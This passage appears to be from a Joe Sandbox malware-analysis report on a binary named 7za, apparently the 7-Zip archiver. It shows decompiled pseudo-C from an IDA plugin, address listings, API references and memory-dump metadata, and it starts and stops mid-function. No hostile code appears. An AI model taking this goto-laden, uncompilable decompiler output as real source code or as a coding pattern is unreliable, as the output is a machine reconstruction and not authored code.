										 *((intOrPtr*)(_t687 + 4)) = 0x47b79c;
										 *((intOrPtr*)(_t687 + 0x134)) = 0x47b78c;
									}
									 *(_t698 - 4) = 3;
									 *(_t696 + 4) = _t687;
									E0040C9B4(_t696 + 0x10, _t687);
								}
								_push( *(_t696 + 0x10));
							}
							E0040C9B4(_t698 - 0x18);
							L55:
							 *(_t698 - 0x20) =  *(_t698 - 0x20) & 0x00000000;
							_t508 =  *(_t698 - 0x18);
							 *(_t698 - 4) = 7;
							_t509 =  *((intOrPtr*)( *_t508))(_t508, 0x47a478, _t698 - 0x20);
							_t679 = _t509;
							__eflags = _t679;
							if(_t679 != 0) {
								L72:
								_t467 =  *(_t698 - 0x20);
								 *(_t698 - 4) = 3;
								goto L144;
							}
							__eflags =  *(_t696 + 0x20) - _t509;
							_t684 = _t696 + 0x20;
							if( *(_t696 + 0x20) == _t509) {
								_t533 =  *(_t698 + 0x14);
								 *((intOrPtr*)( *_t533))(_t533, 0x47a578, _t684);
							}
							_t685 =  *_t684;
							__eflags = _t685;
							if(_t685 == 0) {
								_t510 =  *(_t698 - 0x20);
								_t667 =  *_t510;
								_t679 =  *((intOrPtr*)(_t667 + 0xc))(_t510, 0, 0);
								__eflags = _t679;
								if(_t679 == 0) {
									goto L69;
								}
							} else {
								 *(_t698 + 0x10) = 0;
								 *(_t698 - 4) = 8;
								_t679 =  *((intOrPtr*)( *_t685 + 0xc))(_t685, _t698 + 0x10);
								__eflags = _t679;
								if(_t679 == 0) {
									 *((intOrPtr*)(_t698 - 0x48)) = 0;
									 *((intOrPtr*)(_t698 - 0x44)) = 0;
									 *(_t698 - 0x40) = 0;
									E00401EEE(_t698 - 0x48, 3);
									__eflags =  *(_t698 - 0xd);
									 *(_t698 - 4) = 9;
									if( *(_t698 - 0xd) != 0) {
										L64:
										E00403532(_t698 - 0x5c,  *(_t698 + 0x10));
										_push(0);
										_t667 = _t698 - 0x5c;
										 *(_t698 - 4) = 0xa;
										_t519 = E0040822F(_t698 - 0x68);
										 *(_t698 - 4) = 0xb;
										E00407E17(_t698 - 0x48, _t519);
										E00407A18( *((intOrPtr*)(_t698 - 0x68)));
										_push( *((intOrPtr*)(_t698 - 0x5c)));
										 *(_t698 - 4) = 9;
										L65:
										E00407A18();
										_t523 =  *(_t698 - 0x20);
										_t524 =  *((intOrPtr*)( *_t523 + 0xc))(_t523,  *((intOrPtr*)(_t698 - 0x48)),  *((intOrPtr*)(_t698 - 0x44)));
										_push( *((intOrPtr*)(_t698 - 0x48)));
										__eflags = _t524;
										if(_t524 == 0) {
											E00407A18();
											__imp__#6( *(_t698 + 0x10));
											L69:
											_t512 =  *(_t698 - 0x20);
											 *(_t698 - 4) = 3;
											__eflags = _t512;
											if(_t512 != 0) {
												 *((intOrPtr*)( *_t512 + 8))(_t512);
											}
											goto L74;
										}
										E00407A18();
										__imp__#6( *(_t698 + 0x10));
										_t527 =  *(_t698 - 0x20);
										 *(_t698 - 4) = 3;
										__eflags = _t527;
										if(_t527 != 0) {
											 *((intOrPtr*)( *_t527 + 8))(_t527);
										}
										goto L23;
									}
									__eflags =  *(_t698 - 0xe);
									if( *(_t698 - 0xe) != 0) {
										goto L64;
									}
									E00403532(_t698 - 0x5c,  *(_t698 + 0x10));
									_push(1);
									_t667 = _t698 - 0x5c;
									 *(_t698 - 4) = 0xc;
									_t530 = E0040822F(_t698 - 0x68);
									 *(_t698 - 4) = 0xd;
									E00407E17(_t698 - 0x48, _t530);
									E00407A18( *((intOrPtr*)(_t698 - 0x68)));
									_push( *((intOrPtr*)(_t698 - 0x5c)));
									 *(_t698 - 4) = 9;
									goto L65;
								}
								__imp__#6( *(_t698 + 0x10));
							}
							goto L72;
						}
						 *(_t698 - 0x40) =  *(_t698 - 0x40) & 0x00000000;
						 *((short*)(_t698 - 0x44)) = 2;
						 *((char*)(_t698 - 0x42)) = 3;
						_t542 = E0043B585(_t561 + 0x68, _t698 - 0x44);
						__eflags = _t542;
						if(_t542 != 0) {
							_t696 =  *(_t698 - 0x2c);
							 *(_t698 - 0x30) =  *(_t698 - 0x40);
							__eflags =  *(_t696 + 0x14);
							_t688 = _t696 + 0x14;
							if( *(_t696 + 0x14) == 0) {
								_push(0x240);
								_t549 = E004079F2();
								 *(_t698 - 0x2c) = _t549;
								__eflags = _t549;
								 *(_t698 - 4) = 4;
								if(_t549 == 0) {
									_t550 = 0;
									__eflags = 0;
								} else {
									_t550 = E0043C52F(_t549);
								}
								 *(_t698 - 4) = 3;
								 *((intOrPtr*)(_t696 + 8)) = _t550;
								E0040C9B4(_t688, _t550);
							}
							E0040C9B4(_t698 - 0x18,  *_t688);
							 *(_t698 + 0x13) =  *((intOrPtr*)(_t698 - 0x42));
							_t547 =  *((intOrPtr*)(_t696 + 8)) + 0x238;
							_t679 =  *((intOrPtr*)( *_t547 + 0xc))(_t547, _t698 + 0x13, 1);
							__eflags = _t679;
							if(_t679 == 0) {
								goto L55;
							} else {
								goto L35;
							}
						}
						goto L23;
					}
					_t713 = _t399;
					if(_t713 > 0 || _t713 >= 0 &&  *((intOrPtr*)(_t698 - 0x24)) >= 0xa) {
						 *((intOrPtr*)(_t698 - 0x24)) =  *((intOrPtr*)(_t698 - 0x24)) + 0xfffffff6;
						asm("adc dword [ebp-0x20], 0xffffffff");
						goto L20;
					} else {
						 *(_t698 - 4) =  *(_t698 - 4) & 0x00000000;
						if(_t691 != 0) {
							 *((intOrPtr*)( *_t691 + 8))(_t691);
						}
						goto L199;
					}
				}
				if(( *(_t561 + 2) & 0x00000040) == 0) {
					L4:
					if( *(_t698 - 0x30) == 0x63) {
						 *(_t698 - 0x3c) = 2;
						 *((char*)(_t698 - 0x3a)) = 3;
						 *((short*)(_t698 - 0x38)) = 0;
						if(E0043B585(_t561 + 0x68, _t698 - 0x3c) != 0) {
							 *(_t698 - 0xd) = 1;
							 *((char*)(_t698 - 0xf)) =  *(_t698 - 0x3c) == 1;
						}
					}
					goto L7;
				}
				if(E0043B600(_t561 + 0x68, _t698 - 0x50) == 0) {
					 *_t690 = 1;
					goto L199;
				} else {
					 *(_t698 - 0xe) = 1;
					goto L4;
				}
			}

0x0043ba05
0x0043ba0a
0x0043ba14
0x0043ba1a
0x0043ba1d
0x0043ba23
0x0043ba26
0x0043ba29
0x0043ba2d
0x0043ba31
0x0043ba38
0x0043ba40
0x0043ba44
0x0043ba92
0x0043ba92
0x0043ba94
0x0043ba9c
0x0043bab9
0x0043bab9
0x0043ba9e
0x0043ba9e
0x0043baa1
0x0043baa4
0x0043baaa
0x0043baaa
0x0043babd
0x0043bac0
0x0043bac3
0x0043bac8
0x0043bac8
0x0043bace
0x0043bad1
0x0043bad5
0x0043badd
0x0043bae1
0x0043bae4
0x0043bae7
0x0043baea
0x0043baf4
0x0043baf7
0x0043bafa
0x0043bafe
0x0043bb01
0x0043bb2e
0x0043bb35
0x0043bb36
0x0043bb43
0x0043bb46
0x0043bb4a
0x0043bb4c
0x0043bb52
0x0043bb55
0x0043bb56
0x0043bb57
0x0043bb5f
0x0043bb62
0x0043bb6d
0x0043bb70
0x0043bb73
0x0043bb77
0x0043bb7a
0x0043bb7d
0x0043bb81
0x0043bb85
0x0043becd
0x0043bed0
0x0043bed0
0x0043bed2
0x0043bed5
0x0043beef
0x0043bef2
0x0043bef2
0x0043bef5
0x0043bf61
0x0043bf64
0x0043bf6b
0x0043bf6e
0x0043bf7d
0x0043bf81
0x0043bf83
0x0043bf86
0x0043bf88
0x0043c0cc
0x0043c0cc
0x0043c0ce
0x0043c0d2
0x0043c0d7
0x0043c0d7
0x0043c0da
0x0043c0de
0x0043c0ed
0x0043c0f1
0x0043c0f3
0x0043c0f6
0x0043c0f8
0x0043c118
0x0043c118
0x0043c11a
0x0043c11e
0x0043c123
0x0043c123
0x0043c126
0x0043c12a
0x0043c12e
0x0043c132
0x0043c248
0x00000000
0x0043c138
0x0043c138
0x0043c13c
0x0043c13f
0x0043c141
0x0043c143
0x0043c149
0x0043c14c
0x0043c14e
0x0043c152
0x0043c15d
0x0043c15d
0x0043c154
0x0043c156
0x0043c156
0x0043c15f
0x0043c161
0x0043c165
0x0043c168
0x0043c16f
0x0043c16f
0x0043c16a
0x0043c16a
0x0043c16a
0x0043c174
0x0043c174
0x0043c182
0x0043c187
0x0043c18b
0x0043c19a
0x0043c19e
0x0043c1e3
0x00000000
0x0043c1e3
0x0043c1a0
0x0043c1a6
0x0043c1a9
0x0043c1b4
0x0043c1b6
0x0043c1b8
0x00000000
0x00000000
0x0043c1c4
0x0043c1c5
0x0043c1ca
0x0043c1cc
0x0043c1ce
0x00000000
0x00000000
0x0043c1d4
0x0043c1d7
0x0043c1db
0x0043c1db
0x00000000
0x0043c18d
0x0043c18d
0x0043c193
0x0043c1e8
0x0043c1e8
0x0043c1ea
0x0043c1ea
0x0043c1ec
0x0043c267
0x0043c267
0x0043c26a
0x0043c286
0x0043c28c
0x0043c2f3
0x0043c2f6
0x0043c2fa
0x0043c2fc
0x0043c35a
0x0043c35c
0x0043c361
0x0043c361
0x0043c364
0x0043c368
0x0043c36c
0x0043c370
0x0043c372
0x0043c37a
0x0043c37d
0x0043c37d
0x0043c37d
0x0043c37d
0x0043c381
0x0043c385
0x0043c38a
0x0043c38c
0x0043c38e
0x0043c391
0x0043c399
0x0043c39b
0x0043c39e
0x0043c3a0
0x0043c3a5
0x0043c3a5
0x0043c3b0
0x0043c3b3
0x0043c3b8
0x0043c3ba
0x0043c3bc
0x0043c3bc
0x0043c3bc
0x0043c3bc
0x0043c3ba
0x0043c3c0
0x0043c3c4
0x0043c3d0
0x0043c3d0
0x0043c3d2
0x00000000
0x0043c3c6
0x0043c3c6
0x0043c3ca
0x00000000
0x00000000
0x0043c3d3
0x0043c3d6
0x0043c3d8
0x0043c3d8
0x0043c3db
0x0043c3df
0x0043c3e1
0x0043c3e6
0x0043c3e6
0x0043c3e9
0x0043c3ec
0x0043c3f0
0x0043c3f2
0x0043c3f7
0x0043c3f7
0x0043c3fa
0x0043c3fd
0x0043c401
0x0043c403
0x0043c408
0x0043c408
0x0043c40b
0x0043c40e
0x0043c412
0x0043c414
0x0043c420
0x0043c420
0x00000000
0x0043c416
0x0043c416
0x0043c419
0x0043c419
0x0043c41d
0x00000000
0x0043c41d
0x0043c414
0x0043c3c4
0x0043c2fe
0x0043c300
0x0043c305
0x0043c305
0x0043c308
0x0043c30b
0x0043c30f
0x0043c311
0x0043c316
0x0043c316
0x0043c319
0x0043c31c
0x0043c320
0x0043c322
0x0043c327
0x0043c327
0x0043c32a
0x0043c32e
0x0043c332
0x0043c334
0x0043c33a
0x0043c33a
0x0043c33d
0x0043c341
0x0043c345
0x0043c34a
0x0043c34a
0x0043c350
0x0043c350
0x00000000
0x0043c345
0x0043c291
0x0043c295
0x0043c29b
0x0043c29e
0x0043c2a0
0x0043c2a5
0x0043c2a5
0x0043c2a8
0x0043c2ab
0x0043c2af
0x0043c2b1
0x0043c2b6
0x0043c2b6
0x0043c2b9
0x0043c2bc
0x0043c2c0
0x0043c2c2
0x0043c2c7
0x0043c2c7
0x0043c2ca
0x0043c2ce
0x0043c2d2
0x0043c2d4
0x0043c2da
0x0043c2da
0x0043c2dd
0x0043c2e1
0x0043c2e5
0x00000000
0x0043c2eb
0x0043c2eb
0x00000000
0x0043c2eb
0x0043c2e5
0x0043c26c
0x0043c26c
0x0043c26f
0x0043c273
0x0043c275
0x0043c27e
0x0043c27e
0x00000000
0x0043c275
0x0043c1f4
0x0043c1fd
0x0043c1ff
0x0043c201
0x0043c226
0x0043c229
0x0043c22e
0x0043c232
0x0043c24d
0x0043c250
0x0043c265
0x00000000
0x0043c265
0x0043c237
0x0043c23c
0x0043c23e
0x00000000
0x00000000
0x00000000
0x0043c240
0x0043c203
0x0043c206
0x00000000
0x0043c206
0x0043c18b
0x0043c0fa
0x0043c103
0x0043c105
0x0043c107
0x0043c115
0x00000000
0x0043c115
0x0043c109
0x0043c10c
0x0043c20a
0x0043c20a
0x0043c20c
0x0043c215
0x0043c215
0x0043bc60
0x0043bc60
0x0043bc63
0x0043bc67
0x0043bc69
0x0043bc6e
0x0043bc6e
0x0043bc71
0x0043bc74
0x0043bc78
0x0043bc7a
0x0043bc7f
0x0043bc7f
0x0043bc82
0x0043bc85
0x0043bc89
0x0043bc8b
0x0043bc94
0x0043bc94
0x0043c353
0x0043c353
0x0043c422
0x0043c428
0x0043c430
0x0043c430
0x0043c0f8
0x0043bf94
0x0043bfa0
0x0043bfa2
0x0043bfa4
0x0043c0c9
0x00000000
0x0043c0c9
0x0043bfaa
0x0043bfad
0x00000000
0x0043bfad
0x0043bef7
0x0043befb
0x0043befe
0x0043bf02
0x0043bf06
0x0043bfb8
0x0043bfb9
0x0043bfbc
0x0043bfe0
0x0043bfe4
0x0043c010
0x0043c014
0x0043c032
0x0043c036
0x0043c058
0x0043c05c
0x0043c067
0x0043c06b
0x0043c077
0x0043c078
0x0043c07a
0x0043c07f
0x0043c082
0x0043c082
0x0043c088
0x0043c08e
0x0043c090
0x0043c092
0x0043c0a5
0x0043c0a9
0x0043bf47
0x0043bf4d
0x0043bf56
0x0043bf58
0x0043bf5c
0x00000000
0x0043bf5c
0x0043c0b2
0x0043c0b8
0x0043c0bb
0x0043c0bf
0x0043bbb4
0x0043bbb4
0x0043bbb7
0x0043bbbb
0x0043bbbd
0x0043bbc2
0x0043bbc2
0x0043bbc5
0x0043bbc8
0x0043bbcc
0x0043bbce
0x0043bbd3
0x0043bbd3
0x0043bbd6
0x0043bbd9
0x0043bbdd
0x0043bbdf
0x0043bbe8
0x0043bbe8
0x00000000
0x0043bbdf
0x0043c097
0x0043c09b
0x00000000
0x0043c09b
0x0043c070
0x00000000
0x0043c070
0x0043c05e
0x0043c063
0x00000000
0x0043c063
0x0043c038
0x0043c03d
0x0043c043
0x0043c046
0x0043c048
0x0043c04c
0x0043c005
0x0043c005
0x0043c005
0x0043c007
0x0043c007
0x0043bf3e
0x0043bf42
0x00000000
0x0043bf42
0x0043c051
0x00000000
0x0043c051
0x0043c016
0x0043c018
0x0043c01e
0x0043c021
0x0043c023
0x0043c027
0x00000000
0x00000000
0x0043c02b
0x00000000
0x0043c02b
0x0043bfe6
0x0043bfeb
0x0043bff1
0x0043bff4
0x0043bff6
0x0043bffa
0x00000000
0x00000000
0x0043bffe
0x00000000
0x0043bffe
0x0043bfbe
0x0043bfc3
0x0043bfc8
0x0043bfcb
0x0043bf3c
0x0043bf3c
0x0043bf3c
0x00000000
0x0043bf3c
0x0043bfd1
0x0043bfd5
0x00000000
0x0043bfd5
0x0043bf0c
0x0043bf0e
0x0043bf16
0x0043bf18
0x00000000
0x00000000
0x0043bf1a
0x0043bf21
0x0043bf24
0x0043bf27
0x0043bf2a
0x0043bf2d
0x0043bf33
0x00000000
0x0043bf33
0x0043bed7
0x0043beda
0x0043bedd
0x0043bedd
0x0043bedf
0x0043bee2
0x00000000
0x00000000
0x0043bee4
0x0043bee5
0x0043bee8
0x0043beeb
0x00000000
0x00000000
0x00000000
0x0043beed
0x00000000
0x0043bedd
0x0043bb8b
0x0043bb8f
0x0043bc9c
0x0043bca0
0x0043bca3
0x0043bcfa
0x0043bcfe
0x0043bd00
0x0043bd07
0x0043bd0a
0x0043bd0d
0x0043bd0f
0x0043bd13
0x0043bd2b
0x0043bd2b
0x0043bd15
0x0043bd17
0x0043bd1c
0x0043bd22
0x0043bd22
0x0043bd31
0x0043bd35
0x0043bd37
0x0043bd37
0x0043bd3c
0x0043bca5
0x0043bca5
0x0043bca9
0x0043bcab
0x0043bcb5
0x0043bcb8
0x0043bcbb
0x0043bcbd
0x0043bcc1
0x0043bce3
0x0043bce3
0x0043bcc3
0x0043bcc5
0x0043bcca
0x0043bcd0
0x0043bcd7
0x0043bcd7
0x0043bce9
0x0043bced
0x0043bcf0
0x0043bcf0
0x0043bcf5
0x0043bcf5
0x0043bd42
0x0043bd47
0x0043bd47
0x0043bd4b
0x0043bd5a
0x0043bd5e
0x0043bd60
0x0043bd62
0x0043bd64
0x0043bec1
0x0043bec1
0x0043bec4
0x00000000
0x0043bec4
0x0043bd6a
0x0043bd6d
0x0043bd70
0x0043bd72
0x0043bd7e
0x0043bd7e
0x0043bd80
0x0043bd84
0x0043bd86
0x0043beb0
0x0043beb6
0x0043bebb
0x0043bebd
0x0043bebf
0x00000000
0x00000000
0x0043bd8c
0x0043bd8c
0x0043bd96
0x0043bd9d
0x0043bda1
0x0043bda3
0x0043bdb8
0x0043bdbb
0x0043bdbe
0x0043bdc1
0x0043bdc6
0x0043bdca
0x0043bdce
0x0043be10
0x0043be16
0x0043be1b
0x0043be1d
0x0043be23
0x0043be27
0x0043be30
0x0043be34
0x0043be3c
0x0043be41
0x0043be44
0x0043be48
0x0043be48
0x0043be4d
0x0043be5b
0x0043be5e
0x0043be61
0x0043be63
0x0043be8e
0x0043be97
0x0043be9d
0x0043be9d
0x0043bea0
0x0043bea4
0x0043bea6
0x0043beab
0x0043beab
0x00000000
0x0043bea6
0x0043be65
0x0043be6e
0x0043be74
0x0043be77
0x0043be7b
0x0043be7d
0x0043be86
0x0043be86
0x00000000
0x0043be7d
0x0043bdd0
0x0043bdd4
0x00000000
0x00000000
0x0043bddc
0x0043bde1
0x0043bde3
0x0043bde9
0x0043bded
0x0043bdf6
0x0043bdfa
0x0043be02
0x0043be07
0x0043be0a
0x00000000
0x0043be0a
0x0043bda8
0x0043bda8
0x00000000
0x0043bd86
0x0043bb95
0x0043bba1
0x0043bba7
0x0043bbab
0x0043bbb0
0x0043bbb2
0x0043bbf0
0x0043bbf6
0x0043bbf9
0x0043bbfd
0x0043bc00
0x0043bc02
0x0043bc07
0x0043bc0d
0x0043bc10
0x0043bc12
0x0043bc16
0x0043bc21
0x0043bc21
0x0043bc18
0x0043bc1a
0x0043bc1a
0x0043bc26
0x0043bc2a
0x0043bc2d
0x0043bc2d
0x0043bc37
0x0043bc42
0x0043bc48
0x0043bc56
0x0043bc58
0x0043bc5a
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc5a
0x00000000
0x0043bbb2
0x0043bb03
0x0043bb05
0x0043bb26
0x0043bb2a
0x00000000
0x0043bb0f
0x0043bb0f
0x0043bb15
0x0043bb1e
0x0043bb1e
0x00000000
0x0043bb15
0x0043bb05
0x0043ba4a
0x0043ba60
0x0043ba65
0x0043ba6e
0x0043ba74
0x0043ba78
0x0043ba83
0x0043ba8a
0x0043ba8e
0x0043ba8e
0x0043ba83
0x00000000
0x0043ba65
0x0043ba5a
0x0043baae
0x00000000
0x0043ba5c
0x0043ba5c
0x00000000
0x0043ba5c

APIs

__EH_prolog.LIBCMT ref: 0043BA0A

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

Part of subcall function 00440338: __EH_prolog.LIBCMT ref: 0044033D

SysFreeString.OLEAUT32(?), ref: 0043BDA8
SysFreeString.OLEAUT32(?), ref: 0043BE6E
SysFreeString.OLEAUT32(?), ref: 0043BE97

Part of subcall function 0043CF71: __EH_prolog.LIBCMT ref: 0043CF76

Part of subcall function 0043B919: __EH_prolog.LIBCMT ref: 0043B91E

Part of subcall function 0040C964: __EH_prolog.LIBCMT ref: 0040C969

Part of subcall function 0040D550: __EH_prolog.LIBCMT ref: 0040D555
Part of subcall function 0040D550: __CxxThrowException@8.LIBC ref: 0040D63A

Strings

c, xrefs: 0043BA60

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00415420, Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 587

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E00415420(signed int __ecx, intOrPtr __edx) {
				intOrPtr _t314;
				void* _t315;
				signed int _t321;
				signed int _t328;
				signed int _t340;
				signed char _t350;
				intOrPtr _t351;
				signed int _t356;
				signed int _t368;
				signed int _t373;
				signed int _t377;
				signed char _t383;
				signed int _t388;
				signed int _t393;
				signed char _t395;
				signed int _t411;
				intOrPtr _t415;
				signed int _t418;
				signed int _t421;
				signed int _t424;
				intOrPtr _t460;
				signed int _t462;
				signed int _t469;
				signed int _t473;
				signed int _t476;
				intOrPtr _t532;
				void* _t555;
				intOrPtr _t564;
				signed int _t568;
				signed int _t573;
				signed int _t579;
				intOrPtr _t581;
				signed int _t585;
				intOrPtr _t586;
				signed int _t587;
				signed int _t588;
				signed int _t590;
				signed int _t593;
				void* _t596;

				E0046B890(E0047490E, _t596);
				_t469 = __ecx;
				 *((intOrPtr*)(_t596 - 0x3c)) = __edx;
				 *(_t596 - 0x10) = __ecx;
				if( *(_t596 + 0x18) == 0 && E00408C73(__ecx) != 0) {
					 *(_t596 + 0x18) = 1;
				}
				_t568 =  *(_t596 + 0x1c);
				if(_t568 == 0) {
					_t581 =  *((intOrPtr*)(_t596 + 0x14));
					L7:
					_t314 =  *((intOrPtr*)(_t596 + 0x10));
					_t590 = 0;
					__eflags =  *(_t314 + 8);
					if( *(_t314 + 8) != 0) {
						L53:
						_push(0x2a);
						_t315 = E00411BD0(_t596 - 0x20,  *((intOrPtr*)(_t596 + 0xc)));
						 *(_t596 - 0x78) =  *(_t596 - 0x78) | 0xffffffff;
						 *(_t596 - 4) = 0xd;
						 *(_t596 - 4) = 0xe;
						E004039C0(_t596 - 0x74, _t315);
						 *(_t596 - 4) = 0x10;
						E00407A18( *((intOrPtr*)(_t596 - 0x20)));
						 *(_t596 - 0x38) =  *(_t596 - 0x38) & 0x00000000;
						E0040351A(_t596 - 0xd4);
						_push(_t596 - 0x11);
						 *(_t596 - 4) = 0x11;
						_t321 = E0040B5C9(_t596 - 0xfc);
						__eflags = _t321;
						if(_t321 == 0) {
							L78:
							E00415C6D( *((intOrPtr*)(_t596 + 0x24)), GetLastError());
							_push( *((intOrPtr*)(_t596 + 0xc)));
							E00406796( *((intOrPtr*)(_t596 + 0x20)));
							L79:
							E00407A18( *((intOrPtr*)(_t596 - 0xd4)));
							_t297 = _t596 - 4;
							 *_t297 =  *(_t596 - 4) | 0xffffffff;
							__eflags =  *_t297;
							E00407A18( *((intOrPtr*)(_t596 - 0x74)));
							E0040B154(_t596 - 0x78);
							L80:
							_t328 = 0;
							L84:
							 *[fs:0x0] =  *((intOrPtr*)(_t596 - 0xc));
							return _t328;
						}
						while(1) {
							__eflags =  *((char*)(_t596 - 0x11));
							if( *((char*)(_t596 - 0x11)) == 0) {
								goto L79;
							}
							__eflags =  *(_t596 + 0x1c);
							if( *(_t596 + 0x1c) == 0) {
								L60:
								_push( *((intOrPtr*)(_t596 + 0x10)));
								 *((char*)(_t596 - 0x40)) =  *(_t596 + 0x18);
								E004092A8(_t596 - 0x34);
								_push(_t596 - 0xd4);
								 *(_t596 - 4) = 0x12;
								E00406796(_t596 - 0x34);
								_push(_t596 - 0x34);
								E004092A8(_t596 - 0x54);
								 *(_t596 - 4) = 0x13;
								_t340 = E00408E8A(_t469, 0, _t596 - 0x54,  !( *(_t596 - 0xdc) >> 4) & 0x00000001);
								__eflags = _t340;
								 *((intOrPtr*)(_t596 - 0x54)) = 0x47a420;
								if(_t340 == 0) {
									 *(_t596 - 4) = 0x16;
									E0040862D();
									 *(_t596 - 4) = 0x12;
									E00408604(_t596 - 0x54);
									__eflags = E00408E8A(_t469, 1, _t596 - 0x34,  !( *(_t596 - 0xdc) >> 4) & 0x00000001);
									if(__eflags != 0) {
										_push(_t581 + 0x3c);
										_push(_t596 - 0xfc);
										E004150E0( *((intOrPtr*)(_t596 - 0x3c)),  *((intOrPtr*)(_t596 + 8)), __eflags);
										_t383 =  *(_t596 - 0xdc) >> 4;
										__eflags = _t383 & 0x00000001;
										if((_t383 & 0x00000001) != 0) {
											 *((char*)(_t596 - 0x40)) = 1;
										}
									}
									_t350 =  *(_t596 - 0xdc) >> 4;
									__eflags = _t350 & 0x00000001;
									if((_t350 & 0x00000001) != 0) {
										_t351 =  *((intOrPtr*)(_t596 + 0x10));
										 *(_t596 - 0x10) =  *(_t596 - 0x10) & 0x00000000;
										__eflags =  *(_t351 + 8);
										if( *(_t351 + 8) == 0) {
											_t377 = E00408B37(_t469, _t596 - 0xd4);
											__eflags = _t377;
											if(_t377 >= 0) {
												 *(_t596 - 0x10) =  *( *((intOrPtr*)(_t469 + 0x1c)) + _t377 * 4);
											}
										}
										__eflags =  *((char*)(_t596 - 0x40));
										if( *((char*)(_t596 - 0x40)) != 0) {
											L73:
											E0040862D();
											_push( *((intOrPtr*)(_t596 + 0x10)));
											E00409500(_t596 - 0x34);
											__eflags =  *(_t596 - 0x10);
											if(__eflags == 0) {
												_push(_t596 - 0xd4);
												 *(_t596 - 0x10) = _t469;
												E00406796(_t596 - 0x34);
											}
											_push( *((intOrPtr*)(_t596 + 0x24)));
											_push( *((intOrPtr*)(_t596 + 0x20)));
											_push( *(_t596 + 0x1c));
											_push( *((intOrPtr*)(_t596 - 0x40)));
											_push(_t581);
											_push(_t596 - 0x34);
											_push( *((intOrPtr*)(_t596 + 0xc)));
											_push(_t596 - 0xd4);
											_push( *((intOrPtr*)(_t596 + 8)));
											_t356 = E00415BCA( *(_t596 - 0x10),  *((intOrPtr*)(_t596 - 0x3c)), __eflags);
											__eflags = _t356;
											 *(_t596 - 0x10) = _t356;
											 *((intOrPtr*)(_t596 - 0x34)) = 0x47a420;
											if(_t356 != 0) {
												 *(_t596 - 4) = 0x19;
												E0040862D();
												 *(_t596 - 4) = 0x11;
												E00408604(_t596 - 0x34);
												_t593 =  *(_t596 - 0x10);
												L83:
												E00407A18( *((intOrPtr*)(_t596 - 0xd4)));
												_t308 = _t596 - 4;
												 *_t308 =  *(_t596 - 4) | 0xffffffff;
												__eflags =  *_t308;
												E00407A18( *((intOrPtr*)(_t596 - 0x74)));
												E0040B154(_t596 - 0x78);
												_t328 = _t593;
												goto L84;
											} else {
												 *(_t596 - 4) = 0x1a;
												goto L77;
											}
										} else {
											__eflags =  *(_t596 - 0x10);
											if( *(_t596 - 0x10) != 0) {
												goto L73;
											}
											 *((intOrPtr*)(_t596 - 0x34)) = 0x47a420;
											 *(_t596 - 4) = 0x18;
											goto L77;
										}
									} else {
										 *((intOrPtr*)(_t596 - 0x34)) = 0x47a420;
										 *(_t596 - 4) = 0x17;
										L77:
										E0040862D();
										 *(_t596 - 4) = 0x11;
										E00408604(_t596 - 0x34);
										 *(_t596 - 4) = 0x10;
										E00407A18( *((intOrPtr*)(_t596 - 0xd4)));
										 *(_t596 - 0x38) =  *(_t596 - 0x38) + 1;
										E0040351A(_t596 - 0xd4);
										_push(_t596 - 0x11);
										 *(_t596 - 4) = 0x11;
										_t368 = E0040B5C9(_t596 - 0xfc);
										__eflags = _t368;
										if(_t368 != 0) {
											continue;
										}
										goto L78;
									}
								}
								 *(_t596 - 4) = 0x14;
								E0040862D();
								 *(_t596 - 4) = 0x12;
								E00408604(_t596 - 0x54);
								 *((intOrPtr*)(_t596 - 0x34)) = 0x47a420;
								 *(_t596 - 4) = 0x15;
								goto L77;
							}
							__eflags =  *(_t596 - 0x38) - 0xff;
							if( *(_t596 - 0x38) != 0xff) {
								goto L60;
							}
							_t573 =  *( *(_t596 + 0x1c));
							 *(_t596 - 0x10) = _t573;
							asm("cdq");
							asm("cdq");
							_t373 =  *( *(_t596 - 0x10))( *((intOrPtr*)(_t581 + 8)), _t573,  *((intOrPtr*)(_t581 + 0x44)), _t573,  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc)))));
							__eflags = _t373;
							if(_t373 != 0) {
								_t593 = _t373;
								goto L83;
							}
							_t581 =  *((intOrPtr*)(_t596 + 0x14));
							goto L60;
						}
						goto L79;
					}
					__eflags =  *(_t596 + 0x18);
					if( *(_t596 + 0x18) != 0) {
						goto L53;
					}
					__eflags =  *(_t469 + 0x2c);
					if( *(_t469 + 0x2c) <= 0) {
						L15:
						__eflags = _t590 -  *(_t469 + 0x2c);
						if(_t590 !=  *(_t469 + 0x2c)) {
							goto L53;
						}
						E00404AD0(_t596 - 0x68, 1);
						 *((intOrPtr*)(_t596 - 0x68)) = 0x47ab08;
						 *(_t596 - 4) =  *(_t596 - 4) & 0x00000000;
						 *(_t596 + 0x18) =  *(_t596 + 0x18) & 0x00000000;
						__eflags =  *(_t469 + 0x2c);
						if( *(_t469 + 0x2c) <= 0) {
							L37:
							_t388 = 0;
							__eflags =  *(_t469 + 0x18);
							 *(_t596 + 0x18) = 0;
							if( *(_t469 + 0x18) <= 0) {
								L50:
								 *(_t596 - 4) =  *(_t596 - 4) | 0xffffffff;
								E00408604(_t596 - 0x68);
								goto L80;
							} else {
								goto L38;
							}
							do {
								L38:
								__eflags = _t388 -  *((intOrPtr*)(_t596 - 0x60));
								if(_t388 >=  *((intOrPtr*)(_t596 - 0x60))) {
									L40:
									_t584 =  *((intOrPtr*)( *((intOrPtr*)(_t469 + 0x1c)) + _t388 * 4));
									_push( *((intOrPtr*)( *((intOrPtr*)(_t469 + 0x1c)) + _t388 * 4)) + 4);
									E0040B0A0(_t596 - 0x20,  *((intOrPtr*)(_t596 + 0xc)));
